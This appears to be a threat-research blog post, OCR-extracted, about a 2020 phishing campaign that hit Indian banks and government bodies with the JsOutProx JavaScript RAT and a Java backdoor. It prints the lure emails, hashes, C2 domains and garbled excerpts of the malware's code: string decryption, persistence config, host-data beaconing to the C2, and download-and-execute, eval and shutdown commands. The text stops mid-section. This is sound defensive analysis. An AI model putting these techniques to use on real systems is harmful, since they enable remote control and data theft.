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It is not uncommon for cybercriminals to target specific countries or regions. They often employ this strategy

In April 2020, ThreatLabZ observed several instances of targeted attacks on Indian government establishments and the banking sector. Emails
were sent to organisations, such as the Reserve Bank of India (RBI), IDBI Bank, the Department of Refinance (DOR) within the National Bank for
Agriculture and Rural Development (NABARD) in India with archive file attachments containing JavaScript and Java-based backdoors.

Further analysis of the JavaScript-based backdoor led us to correlate it to the JsOutProx RAT, which was used for the first time by a threat actor in
December 2019 as mentioned by Yoroi.

The Java-based RAT provided functionalities similar to the JavaScript-based backdoor in this attack.

In this blog, we describe in detail the email attack vector of this targeted campaign, the technical analysis of the discovered backdoors, and our
conclusions on this attack.

Email analysis

Below is the email that was sent to the government officials in NABARD, which contained a malicious archive file attachment.

® Department of Refinance @&
KCC Saturation
To: Department of Refinance,

Reply-To: dor@naard.org

Dear sir

Please find the attached on the captioned subject.
regards

Parit Gupta

AM
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KCC_Saturation_
letter_t...pdf.zip

Figure 1: Email sent with malicious attachment to NABARD.

The email attachment filename is: KCC_Saturation_letter_to_all_StCBs_RRBs_pdf.zip
This archive contains an HTA file inside it that performs the malicious activities.
The MDS5 hash of the HTA file is: 23b32dce9e3a7c1af4534fe9cf7f461e

The theme of the email is related to KCC Saturation, which relates to the Kisan Credit Card scheme and is detailed on the official website of
NABARD.

Attackers leveraged this theme because it is relevant to the Department of Refinance, making this email look more legitimate.

We used the email headers to trace the origin to hosteam.pl, which is a hosting provider in Poland as shown below:

X-Auth-ID: syeds@rockwellinternationalschool.com

Received: by smtp10.relay.iad3b.emailsrvr.com (Authenticated sender: syeds-AT-rockwellinternationalschool.com) with ESMTPSA id 0928BE0OOBD;

Mon, 20 Apr 2020 21:33:53 -0400 (EDT)
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X-Sender-Id: syeds@rockwellinternationalschool.com
Received: from WINDEBOUPGVCUK (unused-31-133-6-113.hosteam.pl [31.133.6.113])
(using TLSv1.2 with cipher DHE-RSA-AES256-GCM-SHA384)
by 0.0.0.0:465 (trex/5.7.12);
Mon, 20 Apr 2020 21:34:40 -0400
The same HTML Application (HTA) file was also sent in an archive attachment to IDBI bank as shown in Figure 2.

] Message | BB e_eall_cireular_pat.zip

From: rinkal.bhavsar@idbi.co.in [rinkal.bhavsar@inddbi.co.in]
Sent: Tuasday, April 21, 2020 7:12 AM

Te: rinkal.bhavsar@idbi.co.in

Subject: E call money

#**This Email Is From External Be Cautious While Opening Any Attachmencs/Links, also pay

Daar

Flaass find attached cl

Kandly scan the following attached documents & forvwasd &

Rinkal § Nair | & aAT81
Asst Manager

HOUE | W MR

Contact | GTEM.

Figure 2: The email sent with a malicious attachment to IDBI bank.

Based on the email headers and the infrastructure used to send the previous emails, we were able to identify more instances of these attacks and
were able to attribute them to the same threat actor.

Figure 3 shows an email sent to RBI with an archive file that contains a Java-based backdoor.

L] i i.org.in i nbbi.org.in> & A 20 8t 021 b

Madam/Sir,

Please find the attached
AT [ Regards,

it §T8aT / V Hasita
TR WAL { Assistant Manager
aR § 022-23026400- §231 / Extn. No. 022-23026400-8231

Fréra =it st s E F / Deposit Insurance and Credit Guarantee Corporalion
W1 Tffere T / Insurance Operation Department

Caution: The Reserve Bank of India never sends malls, SMSs or makes calls asking for personal information such as your bank account details, passwords, etc. It never keeps or offers funds to anyone. Please
do not respond in any manner to such offers, however official or attractive they may look.

Notice: This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you are not the intended recipient, any
dissemination, use, review, distribution, printing or copying of the information contained in this e-mail message and/or attachments to it are strictly prohibited. If you have received this email by error, please
notify us by return e-mail or telephone and immediately and permanently delete the message and any attachments. The recipient should check this email and any attachments for the presence of viruses. The
Reserve Bank of India accepts no liability for any damage caused by any virus transmitted by this email.

DI_form_HY_file_
00002_pdf .zip

Figure 3: The email sent with a malicious attachment to RBI.

Figure 4 shows an email that was used to send an archive file with a Java-based backdoor to Agriculture Insurance Company of India (AIC).
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Figure 4: The email sent with a malicious attachment to AIC India.
The contents of the email are in the Hindi language.
In both of the cases above, the Java-based backdoor has the same hash and only the filenames used were different.

The hash of the JAR file is: 0ac306c29fde5e710ae5d022d78769f6

Technical analysis of JsOutProx
The MDS5 hash of the HTA file is: 23b32dce9e3a7c1af4534fe9cf7f461e
Upon execution, the HTA file displays junk data in a window that flashes quickly on the screen before auto-closing.

This HTA file contains a JavaScript that is executed by mshta as can be seen in the file header in Figure 5.

<html>

[<HTL: APPLICATION icon="#"

SHOUINTASKEAR="no" HTA File Header

<title>.</title>
<meta hitp-equiv="xX-ya-campatible’ contenc=‘jig=edge* />

<4 head>
<bodys

= JavaScript inside the HTA file

<script P
¢ e0rDgEVSwpDCaNK2 wSHC e KEws ARwr JRESKHaQ==" , ' IcOkw? Tgwogo Qo

vazr a=[ wTCqiEtwil-

o dNOdwShDpw==" ' EcKOMGE=" , ' TlvDeW10wpbCgcEXw?rCoMKCwek=", ' wELDvDjCkw==",

Figure 5: The HTA header in the file.

There is a long array of encoded strings present at the beginning of the JavaScript as shown in Figure 6.

var a = ['w7TCqiEtwdl=', 'e0rbgGVSwpDCaME2ZwSHCqeERwEARvr JREAKHAC==", ' IcOkwTVguqoQ¥g==', 'dNOdwShDpw==', 'XoKONGE=', 'TlvDriUllwphCgoKEwT7rCoMKCwek=', 'wsLDvDiCkw==',
wgHDvSK/aBTCqeOlweNDVScOuSEDrksrud iki==", 'vwSTCimUuw7ZAwge="', *HIDDCNK1', 'OeEVDLUp', 'wSLDIMKeugob', 'wd4zCsS0DJEOQWEIDpSO+wdpdWo==', 'weLDgXicnEr=',
woHDUMEjaRrCosOcwdl=", 'NCOMwrSE', 'w6DDjw/DmBlqCHOR®, *'PsKrwpbCrDE=', 'AcKHTWo=', 'a0BhwokS8eTLDKX:DrANpNCOQUUA=', 'w63C1iB0WTNE', 'AEXCYHMRQFcOMFALCGA==',
OsRDFI£C1BOE! , ' UMOMwdTDoxjCksOQuSe=', 'wonCtMKHuSES', 'wSDCmNO4wSka', 'wrrlwQubreOLDi==', |wi¥CpcKHu7UdPmk=', 'WMOGWSEDCTDCmNOKwSXCweOZwdl=', 'QEFUwpPDig==',
‘wr43JB7Ckw==", 'dwSuHwXDnw==', °'QMOFLFPCtTledmwp', 'SS0=W77CsTsD', 'YeOPeVTCpBRisGenwgbCh , W4/ DgMErwpAlvr/DvHOueQ==', 'GNEOwozDusOD', 'AcKOWSECpig=',
HDTCVEO0Ywe/Colio=' , ' wIPCQU7DPE0i' , 'wilCrnYOwsk=', 'ENOiWMRhdQ==', 'w70mwofCgNOj', 'wijCvMOewqgawgfDozo=', 'wpSjwdECucO+', 'wSIDmaO+wshI', 'wilpwplLCicOd',

WMOtws/Dalk="', '0=KQSIXCIBO¥KIosTg==", 'wSTDveThqTu=', 'woHDp8OAwqgE', 'w7iCo806wekl', 'JMR/wpTivMOY¥sEguSElLg==', 'CcO0JBOHwpk=', 'erQfQRFE', 'wpxQTSOGLu==',
DO/ CVvSK7ES0rGgE=", 'ONKVIMODWGA=', 'VIKEU12HWS)IDKEBHDTLHOpWOPCS8KIWSHCoXUDWSDCYCIDGF JCr8KsvpnCpsKIusSt4cRLC1cOLRAKIZEKFVEp LKEKoaKNAIERDY)9QwS7DEIELUSTDINON' ,
wrvCtRIDn8Ob' , 'w7ITwpd=', 'wATCmsKO', 'w4HCjMKBblaydi==', 'dBALEwd=', 'w6/CjkDD1MOS', 'SO0Q2wqhi', 'DibDsQOx', 'e09Qwofbow==', 'wobCkgUmlUw==', 'wphCkhs=', 'Q8KmcFUD',

' w4 [USBELPOICINERO anbw==", 'PSOWw6IUwal=', 'HSOWWEZUwOVTwEOLwqEGECKD', 'NME3wSDChTU=', 'GEC+wSglwoo=', ‘'w?vChEEpdiN=', 'asOfwp7inUAYVITDI , 'wSObwrs3Si==',
WCPDQuOLwpSB® , * AcOiFBgObIiNaMu==', 'wpIEbRps', 'wegy¥VsSOVwpw=", °LEOVWGXDhIT=", °ZIsKhe3MSweLDpyLDhA==', 'feRwOZKLo3d)DmsKOworCrdox', 'ImVnw?RF®, 'YxpOPQLDAiELCmsE/S ',
w6/ Cks01HEOZ' , 'wpfCsOKfwéMm', 'TsKuwrI=', 'wrVoeMOICw==', 'wiYewonDlg==', 'bNEHYHfCiSKeMkSrXWdswrsW', 'VMODeVbCodd=', 'KkbDtTIaRMEO', 'FisVwgxl', 'J8O£IzVM',
IRXVHWTDIFLC)NOuwo/ ChywT' , 'XS0BweHDp3w=', 'cHKge3NLwerDric=', °'YsKFV3Qd', 'wSXCCFO=', 'QMECTFOR', 'wp7CkScUWQ==', ' TgDDQHOgMET', 'LaKWTVZCksOXC3wlRiS=',

wo [PVxxGRIICIa0Aeg==", 'wT7PCacODOsO3wEbDUCATWER/U0==", "GeRSTEI=', 'eUNewgDDicKTweY=', 'LTHCt8O0Dwgi=', 'wSnDpNRgwplivp7DleCwewe=', 'JcEbGHORWTIDIMOG® ,
wWSHCr1DbDvsO1VHO0wrbCulpd' , 'wpxQTEOAL3bCIOSEATY=', 'HkXCucKTPE0SG. , 'fcObwd/Doy¥=', 'wSzDiHPChQ==', 'wgfCqsKéw7la', 'e0HDvZxb', 'w7zCgillywspOurlbm2d=,
FEOGWSzDRRADBEXCHSCOS " , ' TVVDQGSF' , 'wq90ow4DCgh==', 'wpQZKDzCVCAUWTXDLW==', 'OkhWUwrAi=',6 'w7DCokbDuS0)Y¥cORNwgw=", ‘'wonCilAMORQO=", ‘wSrCgeONwgdswpzinyslig==',
JAdnwoSdurEOw4 JDgMELEdQ=="', 'Dg4RF =K/ wSESTERZvoLD iBEyWsEBuwpS ITcKgwScBS2bPeC7CtNEx' , 'wScasRQ=="', 'OcObw?EBwgoaTxJgwojCosKiusw=", 'wijCimQRw7HUvoPDnmcDuBROXsKCS80Bwpo3 " ,
wibChyYoREDCnw==', ' INKFKHECSwPCnMEXupLCrB80cDOdiwrvDrljChoD Dkl sd YEEMNcK6cChe lo0Gws 25w + '880owrHCrj0jUEKlurI=', 'LeOgqOcOTup/CowSRupfCaibCviON' , ' DMOhH .
upnDocOZwEocQUNIcgRgVEROWTY=", 'EGFuw6lavcACw4bCgeRSIgxEESOQ” , 'aB0owrHCE10SQsEVwr4r' , woXDrskl', '¥ME/enUywseDpQTD)S80AwgrCiskAwSc=", *'WFJewrbluMEKw7o
DMErwd3jChyDCisO6' , 'wSksuglk=', 'HEObwS/DgBwhJGbCjcOcHNOSF cOSwgfiuwlpENO+uglvwoBE! , 'SzzCqlOAwg/ CIHTCCBE+' , ' aNONwd/Dpu=='_ 'O801FQ=="

woNYW5RC1e0] PRODWGoTWEbCVRF tup3 CoEDCqOECws JDpQiCEMKS " , * PVgZugEpig==", 'JUTCqeKgNEOMESDCgsEL’ , 'wSLCmeEWeVBncQ==', 'w5SLCiHIJw7SUwgiDvavDoBKP', 'Ks0twidawgHDT11L',
w7EXwog=', 'wqHDscRoaAHCKEONWS10', 'wqMS3xxR', 'wilDicOR', 'ExkiwplUwos=', 'wivCgzXDoNOSYsOxwrs=', 'BNOLHERSCHOD', 'w4FDEDICPEUUYCOTWSE=',
wolDmws0QuwowpIQipaRS 1ugh/ wSHVNGzDnwE i EcKt TBES P4 uwEpbORzD 1 B0Dwp QTLBODWT BéwpvwDnc KHwgL Cgl14wYRIDGULDrw==" . ' EikbDtTHGOMEP' , ' T1HCgMECOEA==" . 'woEChic/HQ==",
WorDpoKldonCvaodwagew4ogudPDRgpgus 125303 vpd3vp) DInsalTeJvrdZul3DajSoVek+' , 'wgTCmR3IDLeO/HBKS' , 'H=0Swelcwol7', ' FMOSWIXDSTQ=", ‘'LELDKXQ7', 'GE/C1cKQINOJEwWE=',
JFDDATIY' , 'wicNwpHCosOT', 'FScOwohV', "wSsFwrM7UsETwqTCoEY=', "wrvDiBKdVxU=', 'woUWP3bCtQ==', 'wr/CizrDis09DsKiTwe=', 'wibDpMNOow7Fw', 'PhICncOVwol=",
wETCiGU¥wT 1 Teqzlildd=" , 'BcOlFNOTwra=", *wILDgQzCmkd=', ‘wpQKOAPCug==', 'wr/DvB03wrwTSvEqeQ==', 'wEHCn2/DwBOp', 'LxPCr806wgh=', 'GTzCscOEwoiCmng=', 'DaK3J3jCwmu==',

Figure 6: A long array of encoded strings.

This array of strings will be referenced throughout the JavaScript. They are base64 decoded and RC4 decrypted at runtime at the time
of execution.

JavaScript code in this HTA file is heavily obfuscated as shown in Figure 7.
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Figure 7: The heavily obfuscated JavaScript code.

The string decoding and decryption routines are shown in Figure 8.

for {var 1 = Ox0, m, n, o = Ox0, p= ''; n = k['charit'J{o++}; ~n £& (m = 1 & Ox4 ? m % Ox40 +# n : n, L++ % Oxd} ? p += String[' frowCharCods J(0x£f & m
I >> (-0xZ " 1 & Ox6)) : DxO) {
n = i['index0Of' J{n);
¥
return p:
1
Hd:

var q = function(r, d) (
var t = [1.

u = 0x0,
v, wu="'",
X = '

r = atcb(r);
for (var v = 0x0, z = £['
Hod=_'%' % ['00' + £['C

1: v <z ) |
At'](yp ['cotring'](0x10)) [ slice'J{-Ox2};:

r = decodeURIComponent{x):
Tor (var A = 0x0; A < Ox100; At++) {
t[A] = A:

for (A = 0x0; h < Ox100; A++) {
U= {u+ t[A] + d['charCodeit'J{1 & d["length'])) % Ox100:
Vo= L[]z
t[a] = t[u]l:
tfu] = v:

A = DOx0;
u = Ox0;
Tor (var B = 0x0: B < [’
A= (A + Ox1) % Ox100;
u= {u+ t[i]} & 0x100;
v = t[A]:
t[A] = t[ul:
tiul = v;
¥ += String['fc

gth'l: BH+) |

de'J{r['charCodeit'J{B)} * t[(t[A] + t[u]) % Ox100)):

1

return w:

3

B[ zes - q:
bl = {}:
TR = 11[):

Figure 8: The string decoding and decryption routines.
After analyzing the string decryption routine, we can see that RC4 algorithm was used.
The process of string decryption can be summarized in the following steps:

1. The string decryption routines are invoked with calls such as: b(‘0x4’, ‘gP52). The first parameter is the index of the encoded string in the
long array declared at the beginning of the JavaScript. The second parameter is the RC4 decryption key.

. The string is base64 decoded using atob() JavaScript function.

. An S-box is generated using a for loop to generate the sequence: 0x0 to 0x100.

S-box is permutated using the decryption key.

. The permutated S-box is used to perform XOR decryption of the encrypted string.

[GEE TN

After decrypting all the strings in this JavaScript, we can see the main configuration as shown in Figure 9.
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window["resizeTo"]{0x0, 0x0);

window["moveTo"]l{screen["availWidth"] * 0x2, screen["availHeight™] * 0x2):
var bC = {}:
bC['Fs'] = new ActiveIObject("Scripting.FileSystemChiect™) ;

bC["Uzh"] = mew ActiveXObject("l
bC['Zh'] = nrew ActiveXObject("Zh
bC["Baselrl"] = fhttp://backijasdra.ddns.net:58388/"»

pt.Shell®}
ll.Application™)

bC["StartDate"] = new Date():;

bC["4l1S5tartupDir™] = bC["Wsh"] ["SpecialFolders"]{"allusersstartup”}}) + '\x5c':;
bC["StartupDir™] = WC["WUsh"] ["SpecialFolders"]("startup”)) + '\ xS5c':

bC["AppD ] = bC["Wsh"] ["ExpandEnviromment3trings"] {"$appdata%™)) + '‘\x5c';
bC["Temp™] = bC["Wsh"] ["ExpandEnvironment3trings"]{"stemp%”)) + 'V xSc':
bC["InstallDir™] = bC["ippData™]:

pC["InstallPath™ = '';

bC["Delimiter”] = "_|_"):

bC["SleepTime™] = 0x2710;
bC["Delay"] = Ox2710;

bC["Tag"] = "Vaster":
pC['ID'] = '';

BC["IDPrefix™] = " giks=";

bC["RunSubkey”] = "HEKCT software\microsoft)windows\currentversioniruni";

Figure 9: The main configuration file of the JsOutProx backdoor.
Some of the critical parameters in the above config file are:

. BaseURL: This is the C2 communication URL. In this case, it makes use of Dynamic DNS (*.ddns.net) and a non-standard port.

. Delimiter: This is the delimiter that will be used while exfiltrating information about the system.

. SleepTime: The duration for which the execution needs to be delayed.

. Delay: Similar to the SleepTime parameter.

. Tag: This is a unique indicator that is appended to the data during exfiltration. In this case the tag is: Vaster. The first time this JavaScript
based backdoor was discovered in December 2019, the value of this tag was: JsOutProx.

6. IDPrefix: This parameter corresponds to the Cookie name that will be set in the HTTP POST request sent by the backdoor to the C2 server at

the time of initialization.
7. RunSubKey: This is the Windows Registry Key that will be used for persistence on the machine.

u b~ wWN =

The script checks whether it is being executed by mshta, wscript or by an ASP Server as shown in Figure 10.

/4 check if the script is being executed as an HTA file

/f if gypeof window != "undefined" then it is an HTA

Ffunction() {
var bL = {}:
| BLL["IRFPEZA"] = function(bM, bN) {
return bM !== LN:
¥
bLL["PRrod"] = "undefined";
rekturn bL["IRPZA"]({ typeof window, bL["PRrod”]):

cipt is being executed by WScript
= function() {

[ bO["PHELI"] = function(bP, bQ) {
return bP !== bQ;
}:
return bO["PHELI"] { typeof UScript, "undefined™)):

f{ Check if Seript is being executed by an iSP serwver

= fuancktion() {
var bR = {}:

| BR["cXZmp"] = function{b3, bT) {
retum b3 '== bT;
}:
bRI["ANwJIk"] = "undefined');
retuxn bR["cXZZmp"](Eypeof Server, bR["ANwIkK"]) ;

jiH

Figure 10: Checks for source of execution.
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This also indicates that the script has the capability to execute in different environments, including web servers. The first instance of JsOutProx
discovered in December 2019 was a JavaScript file. The instance we discovered in April 2020 was an HTA file with the JavaScript code obfuscated
and embedded inside. So we are observing this threat actor deploy the backdoor using different methods in the wild.

The script also has the ability to delay execution as shown in Figure 11.
// Delay execution by 10 seconds if the file is not present

|bC["waitFor"] = famction(kU, bV) {
var bW = {}:

DBU["VIUKL"™] = "undefined™:;
bV = typeof bV === bW["VIUKL"] ? 0xZ710 : bV;
var bX = new Date() ["ogetTime"J{)} + bV;
| while {('bC["File"]["fileExists"]{bU})} {
| if (mew Date()["getTime"]1{) > bX) {
break;
}
¥

/7 Sleep for bY seconds

|bC["sleep"] = Ffunction{b¥) {

var bZ = new Date() ["getTin="]();

while (mew Date() [ToetTime"]{) < bIZI + hb¥) ;!
B

// Delay execution by cD seconds

[bC["=leepEx"] = farctiom{cO) {
var ¢l = {}:
c1["XmkCR"] = "SJdick”;
AE (bCL"isWScript™1{}) {
WScript["=leep™]{cO);

} else {
if ("auZuy") I== cl["EmkCR"]) {
bhC["sleep"]{cO);
} elae {

return V1[]:

i ' 2
Figure 11: Delaying execution.

The init() routine is the initialization routine, which gathers different types of information from the system and sends it in an HTTP POST request to
the C2 server as shown in Figure 12.

IBCL"inic "] = fanction(cT) {
var cll = ();
cU["EopHe"] = funetiom{cV, c) {

return cV + cW;

cU["ThooE"] = fmnckion{cX, c¥) {
retwin CE + c¥;

¥:

eU["Vize="] = fanction(ci, d0) {

return ci + dO;

al"1{) + BCI"Deli
er”] + bC['0a' J["

1(bCL' 0='1["voluneser
Jam="] (}} + bC["Delimit

) alse {
while (1101} {
bC["receive] ()
bC["sleapEx"] (bCI"SleepTime"])

Figure 12: The main initialization routine.
The individual fields collected during init() routine are:

Volume serial number: Fetches the volume serial number using WMI query: “select * from win32_logicaldisk” by inspecting the
volumeSerialNumber field.

UUID: This is randomly generated using the getUUID function in the script. The format of the UUID used is: XXXXXXXX-XXXX-4XXX-YXXX-XXXXXXXXXXXX
ComputerName: Host name of the machine.

UserName: User name of the machine on which this script is executing.
6/14



OS caption: This value is fetched using the WMI query: “select * from win32_operatingsystem” by inspecting the Caption field.
OS version: This information is also gathered using WMI query similar to OS caption.

Tag: This is the tag defined in the configuration of the backdoor. In our case, the tag is Vaster.

The last keyword is “ping,” which is added by the receive() method.

All these values are separated by the delimiter “_| _" and concatenated, then hex encoded and set in the Cookie header called “_giks" of the HTTP
POST request sent to the C2 server as shown in Figure 13.

Initializing the listener for JSOutProx
Author: Sudeep Singh
tarting up on 127.68.8.1 port 8999
saiting for a connection
onnection from ('127.8.8.1", 1736>
received “POST ~ HTTP-1.1
ontent-Type: appllcatlun/x vww—Form—urlencode

ser—Agent: Mozilla 5.0 (Windows NT 18.8; Wint4; x64> ApplelebKits537.36 (KHTML,
like Gecko?> Chrome-80.0_.3987_.87 Safaris537.36

Accept—Encoding: gzip, deflate
ontent—Length: @

ost: backjaadra.ddns.net:8999
onnection: Keep—Alive

Figure 13: First HTTP POST request sent to the C2 server.

The command and control communication between the backdoor and the C2 server is synchronized using the Cookie in the HTTP request
and responses.

The last field in the cookie indicates the type of client command.

For example, if the cookie is:

Cookie: _giks=46464646464646465f7c5f65363261396233322d323434352d346166612d393233622d3836653530306530363665655f7c5f486f73746e61(
Then the client command can be identified as:

1. Hex decode the cookie to get: FFFFFFFF_|_e62a9b32-2445-4afa-923b-
86e500e066ee_|_Hostname_|_Administrator_|_OS_Name_|_Version_|_Vaster_|_ping

2. Split the decoded content using the delimiter: “_|_" to get: ['FFFFFFFF', 'e62a9b32-2445-4afa-923b-86e500e066ee’, 'Hostname',
'Administrator’, 'OS_Name"', 'Version', 'Vaster", 'ping']

3. Extract the last field from the above list. In this case the command is: ping.

Figure 14 shows the main subroutine in the code that handles all the commands.
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try {

var cP = bC["Http"] ["send"] (cO["bchGg"], '', I[]):
switch (cP[0x01) {

case "upd":

var o = bC['Fs'] ["OpenTextFile"] (bC["scriptFullName"] {},

cQI"write"] (cP[0x1]) :

eQ["clo=e"] () :

bBC["launch"] (bC["scriptFullName™] (})
bC["exit™] () :

break;

case "rst":

bC["launch"] (bC["acriptFullName"] ()):
bC["exit"]();
break:

casa "132":
bC["launch"] (bC["=scriptFullName"] ()}, !1[]1):
break:

case "dcn":
bC["exit"] () :
break;

case "rbt":
bC["Wsh"] ["run”] {(cO["XYEnu"], 0x0, !V[]);
break;

case "shd":
bBC["W=h"] ["run”] ("shut
break:;

case "1gf":
bC["Wsh"] ["run®] (cO["J
break;

casa "ejs":
eval (cP[0x1]):

/= /t O /E"), OxO,

z"], 0x0, 11[]);:

break;
var cR = new ActiveXObject("ScriptControl™));
cR["AllowUI"] = 11[];

cR["L
cR["Tim
cR["Add

e"] = "V

-] = -0x1;
i="] (cP[0x1]) ;

1M1

Figure 14: The C2 command handler subroutine in JsOutProx.

The description of the commands are included in the table below.

Command Description

upd

rst

132

dcn

rbt

shd

ejs

evb

uis

ins

Download and execute the script.

Re-launch the script.

Similar to rst command.

Exit the execution.

Reboot the system.

Shutdown the system.

Shutdown the system.

Use eval() to execute the JavaScript sent by server.

Use ActiveXObject to execute the VBScript sent
by server.

Uninstall the backdoor.

Install the backdoor.
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fi Invokes the File Plugin.

do Invokes the Download Plugin.
sp Invokes the ScreenPShellPlugin.
cn Invokes the ShellPlugin.

Technical analysis of the Java-based backdoor
The MDS5 hash of the JAR file is: 0ac306c29fde5e710ae5d022d78769f6

The JAR file is heavily obfuscated in this case. The structure of the JAR file is shown in Figure 15.

i rabl_2020_06-00230109_pdf.gar i

-6 META-NF MANIFEST.MF 5

2] MANIFEST.MF

B com.ocvbftyd.nvhgiuk.idkficy. rereid 1 Manifest-Version: 1.8
aiy [ORSystemException$1.dass Main-Class:
mp TORSystemException. dass

mp MamingSystemExceptions 1. dass
biy NamingSystemException.dass

wh OMGSystemExceptions 1.dass

by ORBConstants,dass

b ORBUHISystemExceptions1.dass
ORBUtity$1.dass

oy ObjectStreamClassuti_1_351.dass
w ObjectStreamClaseLiti_1_342.dass

9P EEEHED
Sl

B-8-8
(-

- fp ObjectstreamClassUti_L_353,dass

- fy ObjectStreamClassUtl_L_34CompareClassByName., dass.
(- Tgy ObjectStreamClassUti_L_3$CompareMemberByhame.dass
[ fgyp ObjectStraamClassUiti_1_38MethodSignature. dass

@ %y ObjectStreamCiass_1_3_1§1.dass

[ty ObjectStream(Class_1_3_152.dass

- faih ObjectStreamilass_1_3_1§3.dass

[ fauy Ob Class_1_3_1$CompareC] dax
[ Class_1_3_15CompereMenb dass
B Class_1_3_1&Methodsi class

[ Class_1_3_150H ClassEntry.dass
= ObjectStreamfield.class

& Objectirtiity. dass

i &) Objectitiriter$1.dass

[ %y ObjectWriter $indentingObjectWriter. dass
[ fab Objectiiriter SSimpleCbiectViriter . class
-y ObjectWriter, dass
POASystemExceptions 1, dass

i~ ReEpositoryldFactory.cass
- &3, Repositoryldinterface.dass
8 %1y RepositoryldSirings. dass
[ fub RepositoryldUtlity.class
[ty UbiSystemException$1.cass
o i.dass

CEFIRRTET ) ———— AES Encrypied Resource

Figure 15: The JAR file structure.
There is an AES-encrypted resource present in this JAR file with the name: “jkgdIfhggf.bvl”.
This resource will be loaded and decrypted at runtime as shown in Figure 16.

public static void main(String[] strarz) {
try {
Thread.sleesp (- 0y ;
String str = new String("j
bytel] bytes = new (St.:ing(
String str2 = fpew String(’

» — AES Decryption Key
# Encrypted R,

String sb = new StringBuilder().imsezt(), System.getenv("appdata”)).append(File.separator).append(new StringBuildex ().insert (0, stz).

append (new String(".jar")).toString()) .to3tring();

InputStream rescurceAsStream = cls.getRescurceAsStream(new StringBuilder().insert (), "/").append(cls.getPackage().getName () .replace(".",

"/")) .append("/") .append(str2) .toString()) ;
Cipher instance = Cipher.getInstance(”
instance.init (2, new SecretRKeySpec (bytes,

dding") ;

), new IvParameterSpec(bytes));

CipherInput8tream cipherInputS8tream = new CipherInputStream(rescurcefsStrean, instance);
mll(stx, sb);

Thread.sleep (4 Yi

FileOutputStream fileCutputS8tream = new FileOutputStream(sb);

byte[] bArr = new byte[1024];

CipherInputStream cipherInput3tream2Z = cipherInputStream;
while (true) {
int read = cipherInputStream2.read (bArr);
if (read <= 0) {
break; —ly AES Decryption
}
fileOutput8tream.write (bArr, 0, read);
cipherInputStream? = cipherInputStream;
¥
fileOutputStream.close () ;
cipherInputStream.close () ;

Thread.sleep (40000) ;

Figure 16: The Stage 1 resource decryption routine.
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This resource gets decrypted to another JAR file, which will be dropped in the %appdata% directory on the machine with the name jhkgdldsgf.jar

The dropped JAR file contains all the functionality for this Java-based backdoor. Figure 17 shows the main structure of the JAR file.

i skpdidsgf jar 1
= META-INF “ 1| [ MANIFEST.MF 12
7Y vniiresT. e ml = L
=-Hf com.ofgtryh.mvnbhy laszxerd. mmghy 1L Manifest-Version: 1.0

- b BeaninfoFinder.class 2 Main-Class: r Zxer
- fp ClassFinder.dass 3

[ fsp ColorEditor.dass 4

- fp ConstructorFinder$l.dass
- fa Constructorfinder cass
- fay DoubleEdtor. dase

[ faa EnumEditor.dass

) FieldFnder.dass

(o) FloatEditor, dass

b~ farp FontEdtor.dass

TNIINTH. clarss

&-@

IITHINE. dass
3 1Tl class

oap INIITHN class ———— Obfuscated Class Files
NI class

F-5-5-F

n

b 10RSystemExceptions 1. dass
IoASystemException.dass
TIIITi. class

TN dass

IIInI,dass

It dass

TITIIT clarss

TWlTIL dass
InstanceFinder.dass

bip IntegerEditor. dass

i LongEditor.dass

s MethodFinder$1.class

aip MethodFinder.dass

aip NamingSystemException$1.dass
i) NamingSystemException.dass
i NumberEditor dass

sty OMGSystemException$l.dass
ap ORBULSystemException$1.cass 3
[ jasp POASystemExceptions1.dass
- fy5h POASystemException. dass
iy PersistenceDelegateFinder dass
B fp PrimitiveTypeMap. dass

- hay PrimitiveWirapperMap. dass

[ fas) PropertyEditorFinder.dass

- 43, ShortEditor.dass

S

FEEEEEE

B9 FE0T D0

B

Figure 17: The JAR file structure of the Java-based backdoor.

All the strings in this JAR file are obfuscated by an obfuscator called Allatori. The string decryption routine is as shown in Figure 18.

public static String 50(3tring string) {
int n;

StackTraceElement stackTraceElement = new CloneNotSupportedException() .getStackTrace() [1];

String string2 = new StringBuffer (stackTraceElement.getClassName ()) .append(stackTraceElement.getMethodName ()) .toString();

int n2 = string.length();

int n3 = n2 - 1;

char[] arrc = new char[n2];

int n4 = 4 << 3;

int cfr_ignored 0 = 5 << ~ g2 *5);
int nS = 4 €< 4 4 (2 * 5);

int né = n = string2.length() - 1;

String string3 = string2;
while (n3 >= 0) {

int n7 = n3=-=-;

arrc[n7] = (char) (n5S * (string.charAt(n7) * string3.chariAt(n)));

if (n3 < 0) break;

int n8 = n3--;

char © = arrc[n8] = (char) (n4 * (string.charAt(nB8) * string3.charhAt(n)});

if (--n < 0) { I
n = né;

1

int n9% = n3;

}

return new String(arrc);

Figure 18: The string decryption routine.

We described this string decryption routine in more details in an earlier blog, which also includes the Python implementation of the

decryption routine.

The JAR file connects to the C&C server: scndppe.ddns.net at port 9050.

This Java-based backdoor is modular in structure and contains several plugins. Figure 19 shows the main network controller code that handles the

C&C communication and dispatches the commands to corresponding plugins for further processing.
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public static void (String string2, String[] arrstring, iiiiidiiidi 11 iiiddiiiii 112)
try {
String string2;

String string3 = string2;

Stringl[] = arrstring;

Fx3ideaiss 31 A = 3334333354 112;

s £ @:tringB.:tart5With(""”}0 {
T3333TT11TY (stringd, arrstring, iiiiiiiiii_112);
return;

b

if @string2.startswi:h(“.” "33 {
string[] arrstring2 = new String[3];
arrstring2([0) = iiiiiiiiii 13. Q;
arrstring2[1] = iiiiiidiiii 13.51;
arrstring2[2] = iiiiiiiiii 13.5;
iidiiididiii 112 (string2, arrstring2);
return;

}
String string4 = string2;
if QstringZ.startsWith("'w")] {

3353355445 4 (string4, arrstring, iiiiiiiiii 112);
return;
1]
if @st:ing4.startswith(" .:."}D {
111311111131 16 1331131313111 162 = mew iiiiiiiiii 16(string3, 1 i 33) ;

iiiiiiiiii 162.start();
return;
}
if Gstring2.startswith[“fm"}a {
1111111111i_15 1111111111 152 = new iLiiiLiiii_lS(string&, = i ):

iiiiiiiiii_152.start();
return;

}

String string5 = string2;

Figure 19: The network controller command handler.

The controller receives the command along with an array of strings that represent the parameters for the corresponding command.

Each of the C&C commands are used to invoke a plugin that executes the command sent by the server.

Command Invoked Plugin

sc Screen plugin.

aut Log plugin.

cm Command plugin.

dn Downloader plugin.

fm Filemanager plugin.

st Startup plugin.

In.t Base plugin to exit execution.
In.rst Base plugin to restart execution.

Now, we will describe two main plugins in this Java-based backdoor and the commands processed by them.

{

